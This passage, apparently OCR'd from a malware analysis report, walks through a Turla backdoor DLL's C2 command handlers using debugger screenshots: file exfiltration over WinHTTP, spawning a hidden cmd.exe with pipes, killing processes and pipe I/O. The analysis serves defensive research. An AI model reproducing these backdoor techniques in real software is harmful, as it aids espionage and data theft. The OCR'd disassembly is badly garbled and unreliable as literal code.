FF 15 6C 18 00 00 call qwurd ptr ds: [<&CreateFilew=] X87r0 00000000000000000000 STO EMPTY O.0000000000000000C
Aechibe L X87r1 000000D0D00ODD0000D0 STL EMPTY O.00000000000000000
L B IS SRR x87r2 00000000000000000000 ST2 Empty 0.0000000000000000
et _— e X87r3 00000000000000000000 ST3 Empty 0.0000000000000000C
. E3 DA 05 00 00 Jmp turla.7FFBA73BIDEE x87r4 00000000000000000000 ST4 Empty 0.0000000000000000C
i3 28 Fe Sub ri4d,esi X87r5 00000000000000000000 STS Empty 0.0000000000000000C
. 4C B9 &C 24 20 mov gword ptr‘ ssiffrsprzofl,ri3 x87r6 00000000000000000000 STE Empty 0.0000000000000000C
. 45 8B C6 mov rad,ri4d X87r7 00000000000000000000 ST7 Empty 0.0000000000000000
. 48 8D 14 37 lea rdx,qword ptr ds:[rdi+rsi]
. 4C 8D 4D 67 lea ra,quord ptr ss:firbp x87Tagword FFFF
- 48 88 CB may_rcx,rox [ttt oy i s o]
FF 15 98 18 00 0O 11 quord ptr ds:[<awriteriles] ——eee—
L4 oot o = Default (x64 fastcall)
SRR
qword ptr [00DDD7FFBAT3B3030 <turla.&writeFilex]=<kernel3z.writeFilex ,':d,‘ 000001F16BASAODB3 L test”
rs 000000000000000E
rs 000000803E1EF608
. text:00007FFBA73BI7F2 turla.d11:§17F2 #BF2

O00001F16BASADAL [L T11e. TXT
0000000000000000
0000000000000000
0000000000000000

@oump1  Ypump2  @lpump3  @Wpumps  @Woumps @ watchi o
Address [ Hex | Asciz I
0DD001F16BASIF20( 00 00 00 00[00 00 00 00[00 00 00 DOJ00 00 00 0D|......vvennnnne. |

DDO0DDE0ZE 1EEADE
000000B0IELEF4ED
000000803ELEF4ES

1EF4FO

>

Figure 46
A confirmation message “03 00” is sent to the C2 server.
1st byte = 0x04 — exfiltrate a file to the C2 server

The process opens a file nominated by the server using CreateFileW (0x80000000 = GENERIC_READ, 0x3 =
OPEN_EXISTING, 0x80 = FILE_ATTRIBUTE_NORMAL):
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. E8 9E FC FF FF €&11 turla.7FFBA73B1430 RAX  0000000000000012
. g; 23 ED x00 gé?dé;f REX O0DO7FFG18D5A00L ndawLongPtrw”
. S5 Hte preba ool el RCX  D00OD1F16BASADAL L"File. txt"
v 72 07 ib turla.7FF8ATIE17AZ :‘;§ gggggg:g:gggggﬂg
B3 01 mov bl, i
~ E9 13 06 00 00 jmp turla.7FF8A73BI1DBG RSE  00000D0DBO3ELEF4DO AL"File. txt”
4C 89 6C 24 30 mov gword ptr ss:[rsp+3of,ri3 RSI  0O000D1F16B979130 &L"SYSTEM'\\Curr entcontrolser'
. 45 33 C9 xor rod,r9 RDI  0OO00DD1F16BASADAL
. €7 44 24 23 80 00 00|mov dword ptr ss:[rsp+2sl,80
. 45 33 CO xor red,rsd RS 0000000000000000
. BA 00 00 00 40 mov edx, 40000000 ' 0000000000000000
. C7 44 24 20 02 00 00|mov dword ptr ss:Brsp+2of,2 R10  000DOOOOOOOO0DOD
. 48 8B CF mov_rcx,rd
. FF 15 6C 18 00 00 call qwor‘d ptr ds:[<&CreateFilew>] EE ggggggggggg;é;g
. 43 8B D8 mov rbx,
- 45 B3 F8 FF mp rax,FFFFFFEFFFFFFEFF B L ORI
v 75 07 jne tur'la 7FFBA73B17DC Ei: gggggg:gggiggg;;
B3 06 mov bl,
~ E9 DA 05 00 00 jmp tur'la 7FF8A73B1DB6
44 2B F6 sub ridd,esi RIP  O00O7FFEAT3IBLE4A turla.00007FFSAT3B184A
4C 89 6C 24 20 mov qword ptr ss:Q@rsp+z2of,ri3
. 45 BB C6 mov rad,rl4d RFLAGS  0000000000000246
. 48 8D 14 37 lea rdx,qword ptr ds:[rdi+rsi] ZF1 PF1 AF O
. 4C 8D 4D &7 lea rg,qword ptr ss:[Erbp+67] OF 0O SFO DFO
. 48 8B CB mov_rcx,rbx 2l feh o B
. FF 15 98 18 00 00 €& aword ptr ds:[<&MriteFilex]
. gg gg e 'g:‘;:r;;ibx LastError 00000000 (ERROR_SUCCESS)
~ OF 85 8A 00 0D 00 jne_turla.7FF8A73B188D Laststatus CO00007C (STATUS_NO_TOKEN)
FF 15 37 18 00 00 €811 qword ptr ds:[<&CloseHandles]
B3 07 mov bl, GS 0028 FS 0053
~ E9 A6 05 00 00 imp turla.7FF8A7381D86 ES 0028 DS 0028
. 48 8B CF mov_rcx,rdi CSs 0033 S5 0028
. E8 18 FC FF FF €& turla. 7FFBA7381430
* 45 32 ED xor ri3d,ri X87r0 00000000000000000000 STO Empty 0.0000000000000000(
» ALl Co cmp_eax, 1 d x87r1 00000000000000000000 ST1 Empty 0.0000000000000000
et 38 turleizFESAZBE182Z X87r2 00000000000000000000 STZ Empty 0.0000000000000000(
. 3 2 x87r3 00000000000000000000 ST3 EMPTy O.0000000000000000
B - ;,ﬁglg'gii‘*’;g?gﬂﬁfmwu x87r4 00000000000000000000 ST4 EMPTy O.0000000000000000
a5 33 C9 xor rad,rad X87r5 00000000000000000000 STS EMPTy O.0000000000000000
. €7 44 24 28 80 00 00|mov dword ptr ss:[rsp+zsl,s0 X87r6 00000000000000000000 ST6 Empty 0.0000000000000000
. 45 33 CO xor rad,rsd x87r7 00000000000000000000 ST7 Empty 0.0000000000000000
. BA 00 00 00 80 mov edx, 80000000
C7 44 24 20 03 00 00| mov dword ptr ss:[frsp+20),3 xB7Tagword FFFF
. 48 8B CF mov rcx,rdi

FF 15 E8 17 00 00 aword ptr ds:[<&Createrilew-] - =
; . *oonoa T L | Default (x64 fastcal) ~ [5 [£]0J unlocke
: = 1: rcx ODDDOLFLGBASADAL L'Tile.txt™
qword ptr [ODDOD7FF8AT3B3038 <turla.&CreateFilew»]=<kernel3z.CreateFilew» 2: rdx 0000000080000000

rs 0000000000000000
r3 0000000000000000

. Text:00D07FFBATIE184A turla.dll: $1B4A #C4A

@ DOODOLF LGBAS ADAL
@Woump1 | @Plpumpz | @Hoump3  Ploumps | Wloumps | @ watthi | (elloals | 2 Stuct  [DooooDshoIemaDS | 0000D0000DOG000D .
Address Hex ASCIT 000000803E LEF 420 | D000000000000000
00D001F16BAS9F50| 00 00 00 00|00 00 DO 00|00 00 0O 00|00 00 0O 0O | 0000002032127 422 | 000000000000000D

EF4F0 | 00005A1

DDD001F16BA59FE0| 00 00 00 0O
000001F16BAS9F70| 00 00 0O 00

00 00 00 00
00 00 00 00

00 00 00 0O
00 00 00 00

00 00 00 00
00 00 00 00

Figure 47

The size of the file is retrieved by calling the GetFileSize routine:

45 8D 55 67 lea rdx,gword ptr ss:[rbp+67[ I
43 8B CB mov_rcx,rbx
FF 15 DB 17 00 00 call gword ptr ds:[<aGetFilesizes] &g gggggggggggggggg
349 ;3 5; &7 'gﬁ; g:g£§ gg 4 RCX  O000000000000530
~ 7a an 42 rurla JEFRATIRIARG RDX  DOODOOBO3E1EFGO3

Figure 48

The file content is copied to a buffer via a function call to ReadFile:

cmp_eax, r14d e

B2 PR Hrearseaear RAX 0000017163385 440
00007FFEA B3 01 v bl,1
000D7FEBAT ~ E9 8F 05 00 00 ]mp turla.7FFBA73E1DBE REX S OOOON00D0G05 30
00007 4C 89 &C 24 30 mov gword ptr ss:[frsp+30f,ri3 RDX  ODOOOLF16B985440
® [ oooo7FFEAT 45 33 €9 xor rod,rad REP  ODOOOOSO3IELEFSAL
® || DDOO7FFS, C7 44 24 28 80 00 00|mov dword ptr ss:[irsp+zs] BSE  OOOOO0DS03ELEF4DO
. 45 33 CO xor rsd,rsd RSI  O00001F168979130 &L"SYSTEM\\CurrentControlser
. BA 00 00 00 B0 mov edx, 80000000 RDI  O0D0001F16BASADAL L"File.txt”
. €7 44 24 20 03 00 00|mov dword ptr ssilirsp+20l,3
. 48 8B CF mav_rcx,rd . RE 0000000000000004
. :z éé gg 17 00 00 call gwurd ptr ds: [<&CreateFilew=] rR9 000000803E1EFG1S
. mov r
R10  ODOOO1F16BEF12FO
48 83 F8 FF cmp rax,FFFFFEFFFFFFFFFF R S e e
~ 75 07 jne turla.7FF8A73B1860
e v BT 6 R1Z  00D0DO0SO3ELEFEBO
v E9 56 05 D0 00 jmp turla.7FFSA73B1DB6 R13  0000000000000000
48 BD 55 &7 lea rdx,qword ptr ss:[rop+67[ R14  00000000O00000L2

R15  ODOODOSO3ELEFESD

00007FFBA.
TEFE.

73B1864 48 8B CB
0000 7!

1867 FF 15 DE 17 00 00

[eGetFilesizes]

o[ cono7FEBAT 89 45 7F mov dword ptr rop+7eR, eax RIF  DOOOFFF8A7T3BL8CF TUF 3. 00007 FFSAT3B18CF
00007FFBAT 44 39 €D 67 cmp_dword ptr bp+671,r13d
¥ 74 10 je turla. ?FF3A7351836 RFLAGS 0000000000000202
48 BB CB mov_rcx,rb ZE 0 PF O
FF 15 C1 17 00 00 call qwar‘d ptr ds:[<&CloseHandle>] OF 0 SFO DF O
B3 o8 mavi Bl CFo TFo IF1
000D7FF8AT3B1 ~ E3 30 05 00 00 imp TUFa. 7FFeA73E1DEE
00007FF8A73B1 85 co test eax,eax
00007FF8AT. Ei v 75 10 jne tur1ab7FFaArss1asn t:z;;’;;‘t‘:; ggggggg’g Eg‘_i%;sgcigié“)
00007FF8A73B1 48 BB CB mov_rcx,r N0
® (| DD0O7FFBAT ;EiaSD FF 15 AD 17 00 00 call qwur‘d ptr ds;: [<&CloseHandle>]
e || oooo7FFaar3B1893 32 DB xor G5 0028 FS 0053
00007FF8A73B1835| ~ E9 1C 05 00 00 imp tur]a 7FFEATIBIDEG ES 002B [5 0028
000 FBA73B189A 8B C8 mov_ecx,eax €5 0033 35 0028
DDO07FFEA73B185C ES GF FA FF FF €all turla.7FF8A73B1310
48 89 24 24 50 mov gword ptr ss:ffrsp+sof,rax X87r0 00000000000000000000 STO EMPTY O.0000000000000000C
pIEuRE G, mov_rcx,rbx X87rl 0D000D0D0D0000000D000 ST1 EMPTY 0.0000000000000000C
s R 553“&??;??#“7;5135; X87rZ 0DD0O000000CO000DDD000 STZ EMPTY 0.00000D0000000000C
A anTae B cword per ds: [<eCloseHandles] X87r3 000000000000DD00D000 ST3 EMPTY O.0000000000000000C
Gl aael v oword ptr ss:@rbpe7el,rizd X87r4 00D00000OO0O0DDOOD000 ST4 EMPTY O.0000000000000000C
0000TFESAT B3 Fr mov bl,Fr X87r5 00DO000OO0O0DDOOO0D0 STS Empty O.0000000000000000C
000D7FFBA73B18BA| v E9 F7 04 00 00 jmp turla.7FFSA73B1DB6 X87r6 000D0000DO0O0DDOOD000 ST6 Empty 0.0000000000000000C
00007FF8A73B18EF 44 8B 45 7F mov red,dword ptr ss:[Erbp+7El X87r7 00DO000DO0O0DDOOD000 ST7 Empty 0.0000000000000000C
00007FF8A73B18C3 4C 8D 4D 77 lea r3,qword ptr ss:[rop+
00007 F F8A73818C7 43 88 DO mov rdx,rax x87Tagword FFFF
e |l 0ooorees A 4C 89 6C 24 20 mov_gword ptr ss:[irsp+20l,ri3 e
FF 15 €3 17 00 00 call agword ptr d <&ReadFile-] v
. Tt R > Default (x64 fastcall)
530

rex
qword ptr [DO0D7FFBA73B3098 <turla.&ReadFile>]=<kernel3z.ReadFile> rdx OODDOIF16B9B85440
rg 0000000000000004

r9 000000803ELEFE18

« TEXT: 00007 FFBA73B18CF turla.d11:$18CF #CCF

2] ) 000001F100000004
Woumpt  @oump2 @lDump3  EWDumpa  Ulpumps @ wahi  bellocals | 2 stuct  [oeopooimocireed
000000803E1EF4ED

20 2F IASC]I I 2 000000802E1EF4EE | 0000000000000000
‘nn 15 00 ao| | RN

Figure 49

The content extracted above is transmitted to the CnC server:
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. 43 8B CE mov FCXy
o E8 7D F4 FF FF i Suria 7eFaazaaLaz0 ;ﬁ gggggigiggﬂ?ﬂgﬂé
. FIEBECIES mov risd,eax RCX  ODDDODLF1GBASADAD
. 8D 48 10 lea ecx,qword ptr ds:[rax+10] s
. E8 52 F3 FF FF €&l turla.7FF8A73B1310 DI RN L
. 23 38 F& mov rdi,rax REF  00D0D0BOZEIEFE60
. 48 85 CO test rax,rax RSP 000DD0BO3ELEFE00 &L nad3e319-2s0c- I
~ OF 84 03 01 00 00 je tur"la 7FFBA73B20CD RSI  0O000D1F16B979130 &L"SYSTEM\\Cur rentControlset’
. 41 B8 OE 00 00 00 mov rad, RDI  0000000000000006
. 48 8D 15 59 11 00 00|Tea rdx,qwur‘d ptr ds:[7FF8A7383130]
. 43 3B CB MOV _FCXyrax RS 0000000000000006
. €8 B1 F3 FF FF €&11 turla.7FFEA7381390 R9  O0DODOSOZEIEFE40
: AoioD E ot e G E ] R10  OODOD1F1GB970DE0
. e De Rt A R11  0000D000D00DD0Z246 L'g’
:
. E8 A2 F3 FF FF €&11 turla.7FFEA7381330 ETZR DononTRTon e s,
. 41 B9 00 00 00 20 mov rad,20000000 LTI CHIDOTELGADERNOL; . I
P4 41 83 C8 FF or r&d,FFFFFFFF R14  O0DOD1F16B981EED L"0ad3e319-280c
. 43 8B D7 mov rdx, ,—m' RIS 0000000000000000
. 48 8B CB mov_rex,
. FF 15 0C 11 00 00 call qword iptc ds: [<@WinHttpAddRequestHeac | RIP  00007FFBAT3B2068 turla.00007FF8A73B2068
. 48 8B CB mov rex,
. 85 CO test eax eax RFLAGS  0000000000000202
””” TS Scimec || E— ZHOpiEr DAL
mov rad,
C7 45 58 00 33 00 00|mov dword ptr ss:[rbp 5.:.],4300 gi g .ﬁ g gi i'
4C 8D 45 58 lea r8,gword ptr ss:[rb 1 |
41 8D 51 1B lea_edx,gqword ptr ds:[r9+18]
FF 15 C6 10 00 00 €all qword ptr ds: [<&WinHttpSetoptions] LastError 00000000 (ERROR_SUCCESS)
43 3B CB mov rex,rbx LastStatus CO00007C {STATUS_NO_TOKEN)
85 CO test Ed)( eax
—— ~ OF 84 98 00 00 00 je turla.7FFBA73820D G5 0028 FS 0053
8B 7D 50 mov edi,dword ptr H.[rbp 50 ES 0028 QS 002B
45 33 FF xor risd,risd CS 0033 g5 002B
4C 89 7C 24 30 mov qword ptr ss:frsp+30f,ris
45 33 c3 xor rad,rad - : X87r0 00000000000000000000 STO EMPTY O.0000000000000000C
C 89 7C 24 28 mov dword ptr ss:lirsp+2sil,edi X87F1 0000D0000000CO000DDD STL EMPTY O.00000000D0000000C
SSQE;EE, REnAS ;; S; o xor ;gg'gg: X87rz 00000000000000000000 ST2 Empty 0.0000000000000000C
e AR o o B G pre B8 Brsp:20l,risd x87r3 00000000000000000000 ST3 Empty 0.0000000000000000C
HD AR R €11 qword ptr ds: [<ewinHEtpsendRequests] x87r4 00000000000000000000 ST4 Empty 0.0000000000000000
43 3B cB mov rex,rbx X87r5 00000000000000000000 STS Empty 0.0000000000000000
85 CO Test sax,sax x87r6 00000000000000000000 STE Empty 0.0000000000000000
- ~ 74 67 je turla!7FFBA73B20CS X87r7 00000000000000000000 ST7 Empty 0.0000000000000000(
4C 8D 4D EO 1ea r9,gword ptr ss:ilfrbp-20]
. 44 8B C7 mov rgd edi x87Tagword FFFF
. 43 88 D4 mov_rdx,riz - -
RIPy FF 15 72 10 00 00 €all qword BER HS[<aWinHEtpwr itedatas] v = — B
P . *e—mnan o , | Default (x64 fastcal) ~|[5_#]0 unlocke
b L = = = = = 1: rcx ODODO1F16BASADAD
qword ptr [DODO7FF8AT3E30ED <turla.&WinHTTpWriteData»]=<winhtTp.winHTTpwriteData» 2: rdx ODDOOLF1EBIBS470
3: r8 0000000000000006
r3 000000803E1EF640
. text:00007FFBAT3B2068 turla.d11:$2068 #1468 =
— ]
P 000 5 000001F16BAZ120E | L"Dad3e319-280C-]
oumpt | Goumpz  Whoump3  Whoumps  Wloumps @ watchi  Ieellocal 7 struct 0303 503 | 00000LF16BIB1EED | L"0ad3e319-280c- M
P T [Asciz T 000000803EIEF610 | 00007 FEGODD0004A
ODDOOLF1689B5470 04 00 74 65[73 74 00 00[F2 82 25 2F[00 18 00 88|L.test..0.%/....| QERQEQSH:E‘HE,‘: HoConIFLoEa00n )

Figure 50
1st byte = 0x05 — spawn a new process

The malicious process creates an anonymous pipe using the CreatePipe API:

- s; ;; 249 50 18 00 00 Y Eggrsggtr ss:rsp+sofl, 18 YT GETeRTETIEaaEe
. 4C 89 64 24 58 mov gword ptr ss:[ rsp+ 5;.] riz BEX SN UDOMHTE 1 BEA6 Tl [
e | 00007FFEAT3B2AEF 4C 80 44 24 50 lea rs,gword ptr ss:[frspsof T )
o || 00D07FFBA73B2A74 C7 44 24 60 O1 00 00|mov dword ptr ss:[r*p*GD] i RDX  DDOOO1F16B3965058 = s
. 48 8D 53 08 Tea rdx,qword ptr ds:[rbx+3] REP  DODDOIF1EBASADAL L"cmd. exe
. 48 88 CB mov_rcx,rbx ESP  00DDOOOSO3EIEF3DO
. FF 15 F7 05 00 00 call gword ptr ds:[<&CreatePipe>] RSI  00DOO1F16B979130 &L"SYSTEM\\Currentcontrolset!
85 CO Test eax,eax RDI 000001F16BASADAL L"cmd. exe™
~ OF 84 9 00 00 00 je turla.7FF8A738282E
48 8B 4B 08 mov rcx,qword ptr ds:[rbx+s] RS 00DD000803ELEF420
CAELCTR ZEfe Skt lea edx,gword ptr ds:[riz+1] R9 0000000000000000

Figure 51

The write handle is set to be inherited by calling the SetHandleInformation routine (0x1
= HANDLE_FLAG_INHERIT):

:é 22 23 2400, 1§,‘? fgﬁ-ﬁg’g”’ pECim:foazes ] RAX  0000000000000001

EEASTEDIOS 00RO |iEall iqword. BEFIESE[<&5etHand] eInformations | RBX  0D0001P1GB365050

85 CO Test eax,eax RCX  0000000000000SFS
~ OF 85 8A 00 00 00 Jne turla.7FFBA73B2B35 RDX  0000000000000001 -

43 3B OF mov rcx,qword ptr ds:[ris] REP  00DOD1F1GBASADAL md. exe

48 8D 41 FF lea rax,qword ptr ds:[rcx—).] BSE  OQOO00DDS803ELEF3DO

8BTS R ED mp_rax,FFFFFFFFFFFEFFFD RSI  000001FL1EB979130 &L"SYSTEM\\Curr entControlset
~ 77 08 ja turla.7FF8A73B2ACO RDI  00000D1F16BASADAL L cmd. exe”

33 D2 xor edx,edx

FF 15 C8 05 00 00 €a¥l qword ptr ds:[<&TerminateProcess>] RS 0000000000000000

Figure 52

A second anonymous pipe is created by the malware:

00007FFBAT3IB2B38 4C BD 44 24 50 lea rs,qword ptr ss:frsp+
71 48 8D 53 18 lea rdx,gword ptr ds:[rbx+18 ;g 8833322223323323
43 8D 4B 10 lea rcx,gword ptr d"[rhxflu] RECX 00000LF 168365060
FF 15 35 05 00 00 €all gword ptr ds:[<éCreatePipes]
3c co test eax,eax RDX  DDDD01F16B965068 " i
~ OF B4 58 FF FF FF je turla.7FF8A73B2AAB RBP  DOO001F16BASADAL L"cmd. exe’
48 8B 4B 10 mov rcx,gword ptr ds:[rbx+10] B3P 000000803ELEF3D0
45 33 CO xor rad,rad RSI  00DD001F168979130 &L"SYSTEM\\Currentcontrolset)
41 8D 50 01 lea edx qword ptr ds:[rs+1] RDI 000001F16BASADAL L"cmd. exe™
FF 15 3C 05 00 00 €all qword ptr ds: [<&SetHandleInformation:
7| 7 85 C test eax,eax RS 000000803ELEF420
00007FF8A73B2B66 ~ OF 84 3F FF FF FF j& turla.7FFSA73B2AAB R3 0000000000000000

Figure 53

The read handle is set to be inherited by calling the SetHandleInformation routine (0x1
= HANDLE_FLAG_INHERIT):
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2B57

# [ ooo07 FF”_BE

UUU(J’FFS;’
00007F

Figure 54

CreateProcessW is used to create
= CREATE_NO_WINDOW):

a

01
05 00 00
FF FF FF

xor rad,

e e qiord ptr ds:[re+1] RAX  0000000000000001
REX  ODD001F168965050
g:g iy eamr dstf<aSetHandleInformations | oo ooooononcoaoe s
je mﬂa’yppamggzmg RDX  0000000000000001
Xor edx,edx REP  OODDDLFLGBASADAL
lea rcx,qword ptr ss:[rsp+70f BSE  00DOODDSN3ELEF3DO
lea rsd,qword pcr‘ ds: [rdx+68] RSI 000001F168379130
€all turla.7FFEA73B13E0 RDI ~ ODO001F16BASADAL
mov rax,qgword ptr ds:[rbx]
xor rad,rad RE 0000000000000000

process specified by the C2 server (0x08000000

U
L"cmd. exe™

&L"SYSTEM\\CurrentControlser)
L"cmd. exe”

Figure 55

A confirmation message “05 00” is sent to the C2 server.

1st byte = 0x06 — kill a process

00007FF& 43 83 F9 FF cmp_rcx,FFEFEFFFEEFFFEFE Cith TR T
DD007FF8A. ~ 74 OE je_turla.7FF8A73B2B16 Fini N ROODDAT IR e
D0007FF8A FF 15 32 05 00 00 €anl qword ptr <&CTloseHandlex] e renariaaay
48 C7 43 18 FF FF FF|mov gword ptr ds:[rbx+18],FFFFFFFFFFFFFFFE P s
43 3B 48 10 mov rcx,qword ptr ds: [rbx+10] MDA DOOIDTE LGRS MO EuCHCEN Ee
48 83 F9 FF cmp rcx,FFFFFFFFFEFEFFFF REBP gggggg;;ggg?g‘n‘; L"cmd. exe
~ 74 OE je_turla.7FFBA73B282E RSB
FF 15 1A 05 00 00 €&l gword prr ds:[<eCloseHandlex] RSI  0O0DOD1F16B979130 &L"SYSTEM\\CurrentControlset)
48 C7 43 10 FF FF FF|mov gword ptr ds:[rbx+10],FFFFFFFFFFFFFFFE | RDI  O0DOD1F16BASAOAL L"cmd. exe”
33 CO Xor eax,eax
~ E9 C9 00 00 00 Jmp mE]a ;FF&A?BEZEFE RS 0000000000000000
. 45 33 C9 xor rad,rs R9 0000000000000000
. 4C 8D 44 24 50 Tea r8,qword ptr ss:[rsp+so] Py SRRy
. 48 8D 53 18 lea rdx,qword ptr ds:[rbx+18] R11 0000000000000246 L'
. 43 8D 48 10 lea rcx,gword ptr ds: [rbx+10] ot aohano et
. FF 15 35 05 00 00 E&W gword ptr ds:[<@CreatePipex]
. 85 o TeeT ey R13  0000000000000005
D0007FF ~ OF 84 58 FF FF FF je turla.7FFBA73BZAAB R14  0000000000000010
» | DDOOTFF 43 8B 48 10 mov rcx,qword ptr ds: [rbx+10] R15  O00DOD1F16B965070
. 45 33 CO xor rs&d,r
. 41 8D 50 01 lea edx,qword ptr ds:[r8+1] RIP  00007FFEAT3B2EER turla.00007FF8AT3E2BER
. FF 15 3C 05 00 00 €& gword ptr ds:[<&SetHandleInformation:
* 85 co test eax,eax RFLAGS  0000000000000246
- » (B LR e igrczglaeéismnszms ZE 1 PF1 AF O
. 48 8D 4C 24 70 lea rcx,qword ptr ss:ffrsp+70] 2:2 g .‘?E g 2; i’
. 44 8D 42 63 lea r8d,gword ptr ds: [rdx+68]
. E8 64 EB FF FF €&l turla.7FF8A73B13E0
: Bas ot L awara o de: (1) o fhna el e
. 45 33 C9 xor rad,rsd —NO_
. 4C 89 7C 24 48 mov gword ptr ss:[rsp+4sf,ris
. 45 33 CO xor red,rsd G5 0028 FS 0053
. 48 89 84 24 CO 00 00|mov gword ptr ss:[rsp+cofl,rax ES 0028 D5 0028
. 43 8B D5 mov rdx,rbp €S 0033 S5 002B
. 48 3B 43 18 mov rax,qword ptr ds:[rbx+18]
. 33 C9 Xor ecx,ecx X87r0 00000000000000000000 STO Empty 0.0000000000000000C
b :g 23 g: 53 Sg Sg 33 mov. “W"rg DE’" b p*éa]r“’( X87r1 00000000000000000000 ST1 EmMPTy 0.0000000000000000C
s A ']"2‘; E:f("' wgrg e ["Sp ];rax X87F2 00000000000000000000 ST2 EMPTy O.0000000000000000C
= e e qwor'.g prr [ % X87r3 00000000000000000000 ST3 EMPTy O.0000000000000000C
. AC 39 €4 24 38 mov qword ptr ss: X87r4 00000000000000000000 ST4 EMPTy O.0000000000000000C
| oooorEE 4C 89 64 24 30 mov guord ptr ss:frsprsol.r x87r5 00000000000000000000 STS Empty O.0000000000000000C
® | DOOOTFF €7 44 24 28 00 00 00| mov dword ptr ss:[rspv"a] hnnnnnn x87r6 00000000000000000000 5T6 Empty 0.0000000000000000C
2| oogarees C7 44 24 20 01 00 00|mov dword ptr ss: 2 x87r7 00000000000000000000 ST7 Empty 0.0000000000000000C
. C7 44 24 70 68 00 00|mov dword ptr ss:[rspﬁn],ss
. C7 84 24 AC 00 00 00|mov dword ptr ss:[frsp+acll,101 x87Tagword FFFF
. 66 44 89 A4 24 BO 00|mov word ptr ss:[rsp+Bof,rizw LmmTTn o fmeenn ]
. FF 15 5F 04 00 €&11 gword ptr ds:[<&CreateProcessw>] v
. i e ,  |Default (64 fastcal) ~ |5 =)0 unleckes
rex
qword ptr [00D07FF8AT3B3050 <turla.&CreateProcessiW-]=<kernel32.CreateProcessi> rdx ODDD01F16BASAODAL omd. exe™
r8 0000000000000000
ra 0000000000000000
. TexT:00007FF8A73B2BEB turla.d11:$2BEB #1FEB — {
" , . , 5 = @ 000D00803ELIEF440 E
Woump1 | GWoump2  WHoumps  @houmps  @Moumps @ wath1  bellosks P stuct | footnoot :ELE 000001F16B365000 | L"™\\Services\ \We4Time\\Par amet
P HeR A | 200000803E1EF2E0 | 000001F 100000068
000001F 168965060 [AC| 05 00 00[00 00 00 DO[AD 05 00 00[00 00 0O m%;iiii;ig 3333322233333330
000001F168965070| 00 00 00 00|00 00 00 00|00 OO 00 00[00 00 0O
000000803E1EF3FS | 00007FF 308000000
000001F168965080| 00 00 00 00|00 00 00 00|00 00 00 00(00 00 0O S
000001F168965090| 00 00 00 00|00 00 00 OO|78 E4 F7 EC[A9 B8 00 et
000001F 168965040 | Z EEEE T
000001F 168965080 | 202026 G2, FL 01 00 0040 20 26 SR F1 0L 00 000000803E1EF418| 000001F16BI65070

The binary kills the process spawned in the above command by calling TerminateProcess:

00007 FEBAT3B1944 33 D2
FF 15
00007 FF8, 33 D2

. 45 8D 4B

Figure 56

A confirmation message “06 00”

20

3C 17 00 00

1st byte = 0x07 — read/write to a pipe

xor _edx, dx

€all gword ptr ds:[<&TerminateProcess>] ix gggggggggggggﬁ:;
xor edx,edx

: 2 RCX  0D000000D00001234
feRiEotaona Lk g Lo RDX  0000000000000000

is sent to the C2 server.

The WriteFile API is utilized to write data transmitted by the CnC server to a pipe created earlier:
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OF 44 CB cmove ecx,ebx
e oot e
~ E9 84 04 00 00 jmp turla.7FF8A7381DB6 L e =
48 88 5E 38 mov rbx,qword ptr ds:[rs & -
48 8B 4B 20 mov rcx,qword ptr ds:[rbx+20 RDX  ODDODLFLEBASAOAL L'test
48 BD 41 FF lea rax,qword ptr ds:[rcx-1] REP  OODOOOOSO3ELEFSAL
48 83 F8 FD €mp rax,FFFFFFFFFFFFFFFD BSE  ODOODOSO3ELEF4DO
v 77 OB ja turla.7FE8A738194C RSI  ODD001F168979130 &L"SYSTEM\\CurrentControlset}
33 D2 xor edx,edx RDI  O00001F16BASADAL L"test"
FF 15 3C 17 00 00 €alll qword ptr ds:[<&TerminateProcess>]
33 D2 xor edx,edx RS 0000000000000008
i 162 roa dword bor ds: fraxiie] R et
A s - +18
ES 85 FA FF FF €all turla.7FF8A72B13E0 2;2 ggggggggggzggggg
43 88 0B mov rcx,gword ptr ds:[rbx] R1Z 000000203E1EFER0
48 83 F3 FF emp rcx,FFEFFEFFEFFFFERE
v 74 0D je turla.7FFeA7381971 R13  0000000C00005000 e
FF 15 D6 16 00 00 €&l gword ptr ds:[<&CloseHandle> R14  0DOOOOOOOOOOOZEE L'e
48 C7 03 FF FF FF FF|mov gword ptr ds:[rbx],FFFFFFFFFFFFFFFF R15 0Q00D0803ELEF650
48 88 4B 08 mov rcx,qword ptr ds:[rbx+a]
48 83 F9 FF €mp rcx,FEFFFEFFEFFFEFFF RIP  0ODO07FFBA73B19E5 turla. 00007 FF8A73B19ES
v 74 OE je turla.7FF3A7381939
FF 15 BF 16 00 00 €all qword ptr ds:[<&CloseHandle>] RFLAGS 00000000000002 00
48 C7 43 08 FF FF FF|mov gword ptr ds:[rbx+&8],FFFFFFFFFFFEFFEEF ZE O PEO AF O
48 88 4B 18 mov rcx,gqword ptr ds:[rbx+1s] OF 0 SFO DF O
48 83 F3 FF emp rcx,FFFFEFFFFEFFERFE G Sl R
v 74 OE je tur"la.?FFaA?}El‘)Al
FF 15 A7 16 00 00 €all gword ptr <&CloseHand]ex
48 C7 43 18 FF FF FF|mov qzurd pgr ds: [ribx 18], FFFFFFH]TFFFFFFFF LastError 00000000 (ERROR_SUCCESS)
48 BB 4B 10 mov rox,quord prr ds:[rhx+i10] Laststatus COD0007C (STATUS_NO_TOKEN)
48 83 F9 FF €mp rcx,FEFFFFFFEFFFFFFF
v 74 OE je turla.7FF8A7381985 GS 0028 FS 0053
FF 15 8F 16 00 00 €311 qword ptr ds:[<&CloseHandle>] ES 002B DS 0028
48 C7 43 10 FF FF FF|mov qwnr‘? ptr ds:[rbx+10],FFFFFFFFFFFFEFFE || €5 0033 55 0028
32 DB xor
~ ES F3 03 00 00 Jmp turla. 7FF8A73B1DE3 Xx87r0 00000000000000000000 STO Empty 0.0000000000000000C
44 88 6E 0C mov "éﬂ‘ dwozd ptr IE‘ [emie] XB7r1 00000000000000000000 ST1 Empty 0.0000000000000000C
:g g? éE e iy [ BLESE ] XB7r2 00000000000000000000 ST2 Empty 0.0000000000000000C
L EE " L L L L — x87r3 00000000000000000000 ST3 Empty 0.0000000000000000C
35 85 F6 Test risd,risd x87r4 00000000000000000000 ST4 Empty 0.0000000000000000C
s 7 En je turla. 7FF8A73R1A0S X87r5 00000000000000000000 STS EMPTY O.0000000000000000C
18 8B 4B 08 mov rcx,qword ptr ds:[rbx+s] X87r6 00000000000000000000 STE EMPTY O.0000000000000000C
45 8B C6 mov rad,riad X87r7 00000000000000000000 ST7 EMPTY O.0000000000000000C
4C 89 4C 24 20 mov qwur"d ptr ss:frsp+20f,ro
48 88 D7 mov rdx,rdi x87Tagword FFFF
4C 8D 4D &7 lea r9, qward ptr’ ss:[irbp+c7l -
FF 15 AS 16 00 00 call gword ptr d [<&wr1teF11e>]
